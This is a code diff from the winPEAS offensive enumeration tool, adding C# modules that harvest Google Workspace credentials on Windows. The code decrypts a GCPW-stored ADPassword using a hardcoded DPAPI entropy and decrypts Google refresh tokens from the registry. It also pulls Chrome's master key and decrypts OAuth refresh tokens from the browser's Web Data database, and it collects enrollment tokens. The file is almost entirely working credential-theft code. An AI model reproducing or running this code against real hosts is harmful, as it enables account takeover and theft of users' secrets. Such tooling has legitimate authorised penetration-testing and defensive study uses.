string accessTokenRegex = @"ya29\.[a-zA-Z0-9_\-]{50,}";
|
||||
string refreshTokenRegex = @"1//[a-zA-Z0-9_\-]{50,}";
|
||||
|
||||
MatchCollection accesTokens = Regex.Matches(plainAuthToken, accessTokenRegex);
|
||||
MatchCollection refreshTokens = Regex.Matches(plainAuthToken, refreshTokenRegex);
|
||||
|
||||
if (refreshTokens.Count > 0)
|
||||
{
|
||||
GPSRegValues.Add("Decrypted refresh token", refreshTokens[0].Value);
|
||||
}
|
||||
|
||||
if (accesTokens.Count > 0)
|
||||
{
|
||||
GPSRegValues.Add("Decrypted access token", accesTokens[0].Value);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException("Error trying to decrypt and decode the AuthToken. You will need to check it yourself. It's in " + hive + "\\" + regAddr + " (key: AuthToken)\nError was: " + ex.Message);
|
||||
GPSRegValues.Add("authToken (error)", "Error trying to decrypt and decode the AuthToken. You will need to check it yourself. It's in " + hive + "\\" + regAddr);
|
||||
}
|
||||
}
|
||||
|
||||
string adpasswordInReg = Helpers.Registry.RegistryHelper.GetRegValue(hive, regAddr, @"ADPassword");
|
||||
if (adpasswordInReg.Length > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Native.Advapi32 advapi = new Native.Advapi32();
|
||||
byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
|
||||
|
||||
|
||||
// Decrypt auth token
|
||||
byte[] encryptedEncodedAuthToken = advapi.ReadRegistryValue(regAddr, @"ADPassword");
|
||||
byte[] decryptedData = DecryptData(encryptedEncodedAuthToken, entropyBytes);
|
||||
string plainPasswd = Encoding.Unicode.GetString(decryptedData).TrimEnd('\0');
|
||||
GPSRegValues.Add("ADPassword decrypted", plainPasswd);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException("Error trying to decrypt and decode the ADPassword. You will need to check it yourself. It's in " + hive + "\\" + regAddr + " (key: ADPassword)\nError was: " + ex.Message);
|
||||
GPSRegValues.Add("ADPassword (error)", "Error trying to decrypt and decode the AuthToken. You will need to check it yourself. It's in " + hive + "\\" + regAddr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Format the info in expected CloudInfo format
|
||||
List <EndpointData> _endpointDataList = new List<EndpointData>();
|
||||
|
||||
foreach (var kvp in GPSRegValues)
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = kvp.Key,
|
||||
Data = kvp.Value?.Trim(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
}
|
||||
|
||||
return _endpointDataList;
|
||||
}
|
||||
|
||||
public string ExtractValue(string input, string pattern)
|
||||
{
|
||||
Match match = Regex.Match(input, pattern);
|
||||
if (match.Success)
|
||||
{
|
||||
return match.Groups[1].Value;
|
||||
}
|
||||
return "Not found";
|
||||
}
|
||||
|
||||
|
||||
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
||||
{
|
||||
if (_endpointData == null)
|
||||
{
|
||||
_endpointData = new Dictionary<string, List<EndpointData>>();
|
||||
|
||||
try
|
||||
{
|
||||
if (IsAvailable)
|
||||
{
|
||||
_endpointData.Add("Local Info", GetGPSValues());
|
||||
}
|
||||
else
|
||||
{
|
||||
_endpointData.Add("General Info", new List<EndpointData>()
|
||||
{
|
||||
new EndpointData()
|
||||
{
|
||||
EndpointName = "",
|
||||
Data = null,
|
||||
IsAttackVector = false
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
return _endpointData;
|
||||
}
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public byte[] DecryptData(byte[] encryptedData, byte[] entropyBytes)
|
||||
{
|
||||
Native.Crypt32.DATA_BLOB dataIn = new Native.Crypt32.DATA_BLOB();
|
||||
Native.Crypt32.DATA_BLOB dataOut = new Native.Crypt32.DATA_BLOB();
|
||||
Native.Crypt32.DATA_BLOB optionalEntropy = new Native.Crypt32.DATA_BLOB();
|
||||
|
||||
try
|
||||
{
|
||||
// Prepare the DATA_BLOB for input data
|
||||
dataIn.pbData = Marshal.AllocHGlobal(encryptedData.Length);
|
||||
dataIn.cbData = encryptedData.Length;
|
||||
Marshal.Copy(encryptedData, 0, dataIn.pbData, encryptedData.Length);
|
||||
|
||||
// Initialize output DATA_BLOB
|
||||
dataOut.pbData = IntPtr.Zero;
|
||||
dataOut.cbData = 0;
|
||||
|
||||
// Prepare the DATA_BLOB for optional entropy
|
||||
optionalEntropy.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
|
||||
optionalEntropy.cbData = entropyBytes.Length;
|
||||
Marshal.Copy(entropyBytes, 0, optionalEntropy.pbData, entropyBytes.Length);
|
||||
|
||||
// Call CryptUnprotectData with optional entropy
|
||||
bool success = Native.Crypt32.CryptUnprotectData(
|
||||
ref dataIn,
|
||||
null,
|
||||
ref optionalEntropy,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
ref dataOut);
|
||||
|
||||
if (!success)
|
||||
throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
|
||||
// Copy decrypted data to a byte array
|
||||
byte[] decryptedData = new byte[dataOut.cbData + 2];
|
||||
Marshal.Copy(dataOut.pbData, decryptedData, 0, dataOut.cbData);
|
||||
|
||||
return decryptedData;
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Free allocated memory
|
||||
if (dataIn.pbData != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(dataIn.pbData);
|
||||
if (dataOut.pbData != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(dataOut.pbData);
|
||||
if (optionalEntropy.pbData != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(optionalEntropy.pbData);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
public static class Base32HexDecoder
|
||||
{
|
||||
private static readonly char[] Alphabet = "0123456789abcdefghijklmnopqrstuv".ToCharArray();
|
||||
private static readonly Dictionary<char, int> CharMap = new Dictionary<char, int>();
|
||||
|
||||
static Base32HexDecoder()
|
||||
{
|
||||
for (int i = 0; i < Alphabet.Length; i++)
|
||||
{
|
||||
CharMap[Alphabet[i]] = i;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Decode(string input)
|
||||
{
|
||||
input = input.ToLowerInvariant();
|
||||
List<byte> bytes = new List<byte>();
|
||||
|
||||
int buffer = 0;
|
||||
int bitsLeft = 0;
|
||||
|
||||
foreach (char c in input)
|
||||
{
|
||||
if (!CharMap.ContainsKey(c))
|
||||
throw new ArgumentException("Invalid character in base32hex string.");
|
||||
|
||||
buffer = (buffer << 5) | CharMap[c];
|
||||
bitsLeft += 5;
|
||||
|
||||
if (bitsLeft >= 8)
|
||||
{
|
||||
bitsLeft -= 8;
|
||||
bytes.Add((byte)((buffer >> bitsLeft) & 0xFF));
|
||||
}
|
||||
}
|
||||
|
||||
return bytes.ToArray();
|
||||
}
|
||||
}
|
||||
411
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs
Normal file
411
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs
Normal file
@@ -0,0 +1,411 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using System.Data.SQLite;
|
||||
using Org.BouncyCastle.Crypto;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
using Org.BouncyCastle.Crypto.Modes;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using System.Web.Script.Serialization;
|
||||
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
internal class GCPJoinedInfo : CloudInfoBase
|
||||
{
|
||||
public override string Name => "Google Workspace Joined";
|
||||
|
||||
public override bool IsCloud => CheckIfGCPWUsers();
|
||||
|
||||
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
||||
|
||||
private List<EndpointData> GetWorkspaceRegValues()
|
||||
{
|
||||
Dictionary<string, string> workspaceRegValues = new Dictionary<string, string>();
|
||||
workspaceRegValues.Add("Domains Allowed", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW", @"domains_allowed_to_login"));
|
||||
|
||||
// Get all values from all subregistries of Users
|
||||
string[] users = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
|
||||
for (int i = 0; i < users.Length; i++)
|
||||
{
|
||||
workspaceRegValues.Add($"HKLM Workspace user{i}", users[i]);
|
||||
workspaceRegValues.Add($" Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"email"));
|
||||
workspaceRegValues.Add($" Domain{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"domain"));
|
||||
workspaceRegValues.Add($" Id{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"id"));
|
||||
workspaceRegValues.Add($" Pic{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"pic"));
|
||||
workspaceRegValues.Add($" User Name{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"user_name"));
|
||||
workspaceRegValues.Add($" Last Policy Refresh Time{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_policy_refresh_time"));
|
||||
workspaceRegValues.Add($" Last Token Valid Millis{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_token_valid_millis"));
|
||||
workspaceRegValues.Add($" Token Handle{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"th"));
|
||||
}
|
||||
|
||||
string[] users3 = Helpers.Registry.RegistryHelper.GetRegSubkeys("HCKU", @"SOFTWARE\Google\Accounts");
|
||||
if (users3.Length > 0)
|
||||
{
|
||||
workspaceRegValues.Add($"HKU Workspace user", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
|
||||
}
|
||||
|
||||
for (int i = 0; i < users3.Length; i++)
|
||||
{
|
||||
workspaceRegValues.Add($" HKU-Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HCKU", @"SOFTWARE\Google\Accounts\"+ users3[i], @"email"));
|
||||
string refreshTokenPath = @"HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\" + users3[i];
|
||||
byte[] refreshTokenB = (byte[])Registry.GetValue(refreshTokenPath, @"refresh_token", null);
|
||||
if (refreshTokenB.Length > 0)
|
||||
{
|
||||
string refreshTokenDecrypted = DecryptRegRefreshToken(refreshTokenPath);
|
||||
if (refreshTokenDecrypted.Length > 0)
|
||||
workspaceRegValues.Add($" HKU-Refresh Token{i}", refreshTokenDecrypted);
|
||||
}
|
||||
}
|
||||
|
||||
// Get cloud management tokens
|
||||
workspaceRegValues.Add("Chrome Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\Chrome", @"CloudManagementEnrollmentToken"));
|
||||
workspaceRegValues.Add("Workspace Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\CloudManagement", @"EnrollmentToken"));
|
||||
|
||||
// Format the info in expected CloudInfo format
|
||||
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
||||
|
||||
foreach (var kvp in workspaceRegValues)
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = kvp.Key,
|
||||
Data = kvp.Value?.Trim(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
}
|
||||
|
||||
return _endpointDataList;
|
||||
}
|
||||
|
||||
static string DecryptRegRefreshToken(string registryPath)
|
||||
{
|
||||
// Define the registry path where the refresh token is stored
|
||||
string valueName = "refresh_token";
|
||||
|
||||
// Retrieve the encrypted refresh token from the registry
|
||||
byte[] encryptedRefreshToken = (byte[])Registry.GetValue(registryPath, valueName, null);
|
||||
|
||||
if (encryptedRefreshToken == null || encryptedRefreshToken.Length == 0)
|
||||
{
|
||||
Console.WriteLine("No encrypted refresh token found in the registry.");
|
||||
return "";
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// Decrypt the refresh token using CryptUnprotectData
|
||||
byte[] decryptedTokenBytes = ProtectedData.Unprotect(
|
||||
encryptedRefreshToken,
|
||||
null, // No additional entropy
|
||||
DataProtectionScope.CurrentUser // Use the current user's scope
|
||||
);
|
||||
|
||||
// Convert the decrypted token to an ASCII string
|
||||
string refreshToken = Encoding.ASCII.GetString(decryptedTokenBytes);
|
||||
return refreshToken;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("Error decrypting the refresh token: " + ex.Message);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
public static bool CheckIfGCPWUsers()
|
||||
{
|
||||
string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
|
||||
return check != null && check.Length > 0;
|
||||
}
|
||||
|
||||
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
||||
{
|
||||
if (_endpointData == null)
|
||||
{
|
||||
_endpointData = new Dictionary<string, List<EndpointData>>();
|
||||
|
||||
try
|
||||
{
|
||||
if (IsAvailable)
|
||||
{
|
||||
_endpointData.Add("Local Info", GetWorkspaceRegValues());
|
||||
_endpointData.Add("Local Refresh Tokens", GetRefreshToken());
|
||||
_endpointData.Add("Local Config", GetLocalFileCong());
|
||||
}
|
||||
else
|
||||
{
|
||||
_endpointData.Add("General Info", new List<EndpointData>()
|
||||
{
|
||||
new EndpointData()
|
||||
{
|
||||
EndpointName = "",
|
||||
Data = null,
|
||||
IsAttackVector = false
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
return _endpointData;
|
||||
}
|
||||
|
||||
static List<EndpointData> GetRefreshToken()
|
||||
{
|
||||
string chromeLocalStatePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
|
||||
string masterKey = GetMasterKey(chromeLocalStatePath);
|
||||
|
||||
string[] chromeProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Defaul*");
|
||||
string[] chromeExtraProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Profile*");
|
||||
string[] chromeAllProfilePaths = chromeProfilePaths.Concat(chromeExtraProfilePaths).ToArray();
|
||||
string[] refreshTokens = new string[0];
|
||||
|
||||
foreach (string profilePath in chromeAllProfilePaths)
|
||||
{
|
||||
string webDataPath = Path.Combine(profilePath, "Web Data");
|
||||
|
||||
if (File.Exists(webDataPath))
|
||||
{
|
||||
refreshTokens = ExtractRefreshTokens(webDataPath, masterKey);
|
||||
}
|
||||
}
|
||||
|
||||
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
||||
|
||||
for (int i = 0; i < refreshTokens.Length; i++)
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"Token{i}" ,
|
||||
Data = refreshTokens[i].Trim(),
|
||||
IsAttackVector = true
|
||||
});
|
||||
}
|
||||
|
||||
return _endpointDataList;
|
||||
}
|
||||
|
||||
private static string GetMasterKey(string localStatePath)
|
||||
{
|
||||
string localStateJson = File.ReadAllText(localStatePath);
|
||||
JavaScriptSerializer serializer = new JavaScriptSerializer();
|
||||
dynamic json = serializer.Deserialize<dynamic>(localStateJson);
|
||||
string encryptedKeyBase64 = json["os_crypt"]["encrypted_key"];
|
||||
|
||||
byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64);
|
||||
byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5];
|
||||
Array.Copy(encryptedKeyWithPrefix, 5, encryptedKey, 0, encryptedKeyWithPrefix.Length - 5);
|
||||
|
||||
byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
|
||||
return Convert.ToBase64String(masterKey);
|
||||
}
|
||||
|
||||
private static string[] ExtractRefreshTokens(string webDataPath, string masterKey)
|
||||
{
|
||||
List<string> refreshTokens = new List<string>();
|
||||
try
|
||||
{
|
||||
using (SQLiteConnection connection = new SQLiteConnection($"Data Source={webDataPath};Version=3;"))
|
||||
{
|
||||
connection.Open();
|
||||
string query = "SELECT service, encrypted_token FROM token_service;";
|
||||
|
||||
using (SQLiteCommand command = new SQLiteCommand(query, connection))
|
||||
using (SQLiteDataReader reader = command.ExecuteReader())
|
||||
{
|
||||
while (reader.Read())
|
||||
{
|
||||
string service = reader["service"].ToString();
|
||||
|
||||
// Check if encrypted_token is null or empty
|
||||
if (reader["encrypted_token"] == DBNull.Value)
|
||||
{
|
||||
Console.WriteLine("The encrypted_token is NULL in the database.");
|
||||
continue;
|
||||
}
|
||||
byte[] encryptedToken = (byte[])reader["encrypted_token"];
|
||||
|
||||
string decryptedToken = DecryptWithAESGCM(encryptedToken, Convert.FromBase64String(masterKey));
|
||||
refreshTokens.Add(decryptedToken);
|
||||
}
|
||||
}
|
||||
}
|
||||
return refreshTokens.ToArray();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException("Error extracting refresh tokens (If Chrome is running the DB is probably locked but you could dump Chrome's procs and search it there or go around this lock): " + ex.Message);
|
||||
return refreshTokens.ToArray();
|
||||
}
|
||||
}
|
||||
public static string DecryptWithAESGCM(byte[] ciphertext, byte[] key)
|
||||
{
|
||||
// Constants
|
||||
int nonceLength = 12; // GCM standard nonce length
|
||||
int macLength = 16; // GCM authentication mac length
|
||||
string versionPrefix = "v10"; // Matching kEncryptionVersionPrefix
|
||||
|
||||
// Convert prefix to byte array
|
||||
byte[] versionPrefixBytes = Encoding.ASCII.GetBytes(versionPrefix);
|
||||
|
||||
// Check the prefix
|
||||
if (ciphertext.Length < versionPrefixBytes.Length ||
|
||||
!IsPrefixMatch(ciphertext, versionPrefixBytes))
|
||||
{
|
||||
throw new ArgumentException("Invalid encryption version prefix.");
|
||||
}
|
||||
|
||||
// Extract the nonce from the ciphertext (after the prefix)
|
||||
byte[] nonce = new byte[nonceLength];
|
||||
Array.Copy(ciphertext, versionPrefixBytes.Length, nonce, 0, nonceLength);
|
||||
|
||||
// Extract the actual encrypted data (after the prefix and nonce)
|
||||
int encryptedDataStartIndex = versionPrefixBytes.Length + nonceLength;
|
||||
byte[] encryptedData = new byte[ciphertext.Length - encryptedDataStartIndex];
|
||||
Array.Copy(ciphertext, encryptedDataStartIndex, encryptedData, 0, encryptedData.Length);
|
||||
|
||||
// Split the mac and actual ciphertext
|
||||
byte[] mac = new byte[macLength];
|
||||
Array.Copy(encryptedData, encryptedData.Length - macLength, mac, 0, macLength);
|
||||
|
||||
byte[] actualCiphertext = new byte[encryptedData.Length - macLength];
|
||||
Array.Copy(encryptedData, 0, actualCiphertext, 0, actualCiphertext.Length);
|
||||
|
||||
// Perform the decryption using Bouncy Castle
|
||||
try
|
||||
{
|
||||
GcmBlockCipher gcm = new GcmBlockCipher(new Org.BouncyCastle.Crypto.Engines.AesEngine());
|
||||
AeadParameters parameters = new AeadParameters(new KeyParameter(key), macLength * 8, nonce);
|
||||
gcm.Init(true, parameters);
|
||||
|
||||
byte[] plaintext = new byte[gcm.GetOutputSize(actualCiphertext.Length)];
|
||||
int len = gcm.ProcessBytes(actualCiphertext, 0, actualCiphertext.Length, plaintext, 0);
|
||||
int len2 = gcm.DoFinal(plaintext, len);
|
||||
|
||||
string plaintextString = Encoding.ASCII.GetString(plaintext, 0, len+len2-mac.Length);
|
||||
|
||||
|
||||
return plaintextString;
|
||||
}
|
||||
catch (InvalidCipherTextException ex)
|
||||
{
|
||||
throw new CryptographicException("Decryption failed due to MAC mismatch", ex);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsPrefixMatch(byte[] ciphertext, byte[] versionPrefixBytes)
|
||||
{
|
||||
for (int i = 0; i < versionPrefixBytes.Length; i++)
|
||||
{
|
||||
if (ciphertext[i] != versionPrefixBytes[i])
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
|
||||
{
|
||||
cryptoStream.Write(data, 0, data.Length);
|
||||
cryptoStream.FlushFinalBlock();
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
static List<EndpointData> GetLocalFileCong()
|
||||
{
|
||||
string baseDirectory = @"C:\ProgramData\Google\Credential Provider\Policies";
|
||||
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
||||
|
||||
if (Directory.Exists(baseDirectory))
|
||||
{
|
||||
// Get all directories inside the base directory
|
||||
string[] directories = Directory.GetDirectories(baseDirectory);
|
||||
|
||||
for (int i = 0; i < directories.Length; i++)
|
||||
{
|
||||
string directory = directories[i];
|
||||
string directory_name = Path.GetFileName(directory);
|
||||
string filePath = Path.Combine(directory, "PolicyFetchResponse");
|
||||
|
||||
if (File.Exists(filePath))
|
||||
{
|
||||
try
|
||||
{
|
||||
// Read the content of the PolicyFetchResponse file
|
||||
string jsonContent = File.ReadAllText(filePath);
|
||||
|
||||
JavaScriptSerializer serializer = new JavaScriptSerializer();
|
||||
dynamic json = serializer.Deserialize<dynamic>(jsonContent);
|
||||
bool enableDmEnrollment = json["policies"]["enableDmEnrollment"];
|
||||
bool enableGcpwAutoUpdate = json["policies"]["enableGcpwAutoUpdate"];
|
||||
bool enableMultiUserLogin = json["policies"]["enableMultiUserLogin"];
|
||||
int validityPeriodDays = json["policies"]["validityPeriodDays"];
|
||||
|
||||
string uniq_key = directories.Length > 1 ? directory_name : "";
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{uniq_key}enableDmEnrollment",
|
||||
Data = json["policies"]["enableDmEnrollment"].ToString(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{uniq_key}enableGcpwAutoUpdate",
|
||||
Data = json["policies"]["enableGcpwAutoUpdate"].ToString(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{uniq_key}enableMultiUserLogin",
|
||||
Data = json["policies"]["enableMultiUserLogin"].ToString(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{uniq_key}validityPeriodDays",
|
||||
Data = json["policies"]["validityPeriodDays"].ToString(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine($"Error reading file in {directory}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine($"File not found in directory: {directory}");
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine($"Directory '{baseDirectory}' does not exist.");
|
||||
}
|
||||
|
||||
return _endpointDataList;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,6 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
@@ -222,6 +224,58 @@ namespace winPEAS.Native
|
||||
ref uint cchReferencedDomainName,
|
||||
out SID_NAME_USE peUse);
|
||||
|
||||
// P/Invoke declaration for RegQueryValueExW
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern int RegQueryValueExW(
|
||||
SafeRegistryHandle hKey,
|
||||
string lpValueName,
|
||||
IntPtr lpReserved,
|
||||
out uint lpType,
|
||||
byte[] lpData,
|
||||
ref uint lpcbData);
|
||||
|
||||
public byte[] ReadRegistryValue(string keyPath, string valueName)
|
||||
{
|
||||
using (RegistryKey baseKey = Registry.LocalMachine) // Access HKLM
|
||||
using (RegistryKey subKey = baseKey.OpenSubKey(keyPath, writable: false))
|
||||
{
|
||||
if (subKey == null)
|
||||
throw new InvalidOperationException("Registry key not found.");
|
||||
|
||||
SafeRegistryHandle hKey = subKey.Handle;
|
||||
uint lpType;
|
||||
uint dataSize = 0;
|
||||
|
||||
// First call to determine the size of the data
|
||||
int ret = RegQueryValueExW(
|
||||
hKey,
|
||||
valueName,
|
||||
IntPtr.Zero,
|
||||
out lpType,
|
||||
null,
|
||||
ref dataSize);
|
||||
|
||||
if (ret != 0)
|
||||
throw new System.ComponentModel.Win32Exception(ret);
|
||||
|
||||
byte[] data = new byte[dataSize];
|
||||
|
||||
// Second call to get the actual data
|
||||
ret = RegQueryValueExW(
|
||||
hKey,
|
||||
valueName,
|
||||
IntPtr.Zero,
|
||||
out lpType,
|
||||
data,
|
||||
ref dataSize);
|
||||
|
||||
if (ret != 0)
|
||||
throw new System.ComponentModel.Win32Exception(ret);
|
||||
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
public static string TranslateSid(string sid)
|
||||
{
|
||||
// adapted from http://www.pinvoke.net/default.aspx/advapi32.LookupAccountSid
|
||||
|
||||
27
winPEAS/winPEASexe/winPEAS/Native/crypt32.cs
Normal file
27
winPEAS/winPEASexe/winPEAS/Native/crypt32.cs
Normal file
@@ -0,0 +1,27 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Crypt32
|
||||
{
|
||||
// P/Invoke declaration for CryptUnprotectData
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct DATA_BLOB
|
||||
{
|
||||
public int cbData;
|
||||
public IntPtr pbData;
|
||||
}
|
||||
|
||||
[DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool CryptUnprotectData(
|
||||
ref DATA_BLOB pDataIn,
|
||||
StringBuilder ppszDataDescr,
|
||||
ref DATA_BLOB pOptionalEntropy,
|
||||
IntPtr pvReserved,
|
||||
IntPtr pPromptStruct,
|
||||
int dwFlags,
|
||||
ref DATA_BLOB pDataOut);
|
||||
}
|
||||
}
|
||||
BIN
winPEAS/winPEASexe/winPEAS/costura32/SQLite.Interop.dll
Normal file
BIN
winPEAS/winPEASexe/winPEAS/costura32/SQLite.Interop.dll
Normal file
Binary file not shown.
BIN
winPEAS/winPEASexe/winPEAS/costura64/SQLite.Interop.dll
Normal file
BIN
winPEAS/winPEASexe/winPEAS/costura64/SQLite.Interop.dll
Normal file
Binary file not shown.
@@ -1,4 +1,67 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="AlphaFS" version="2.2.6" targetFramework="net452" />
|
||||
<package id="Costura.Fody" version="5.7.0" targetFramework="net48" developmentDependency="true" />
|
||||
<package id="EntityFramework" version="6.4.4" targetFramework="net452" />
|
||||
<package id="Fody" version="6.5.5" targetFramework="net48" developmentDependency="true" />
|
||||
<package id="Microsoft.Bcl.AsyncInterfaces" version="8.0.0" targetFramework="net48" />
|
||||
<package id="Microsoft.NETCore.Platforms" version="1.1.0" targetFramework="net48" />
|
||||
<package id="Microsoft.Win32.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="NETStandard.Library" version="1.6.1" targetFramework="net48" />
|
||||
<package id="Portable.BouncyCastle" version="1.9.0" targetFramework="net48" />
|
||||
<package id="Stub.System.Data.SQLite.Core.NetFramework" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.AppContext" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Buffers" version="4.5.1" targetFramework="net48" />
|
||||
<package id="System.Collections" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Collections.Concurrent" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Console" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Data.SQLite" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.Data.SQLite.Core" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.Data.SQLite.EF6" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.Data.SQLite.Linq" version="1.0.119.0" targetFramework="net452" />
|
||||
<package id="System.Diagnostics.Debug" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Diagnostics.DiagnosticSource" version="4.3.0" targetFramework="net48" />
|
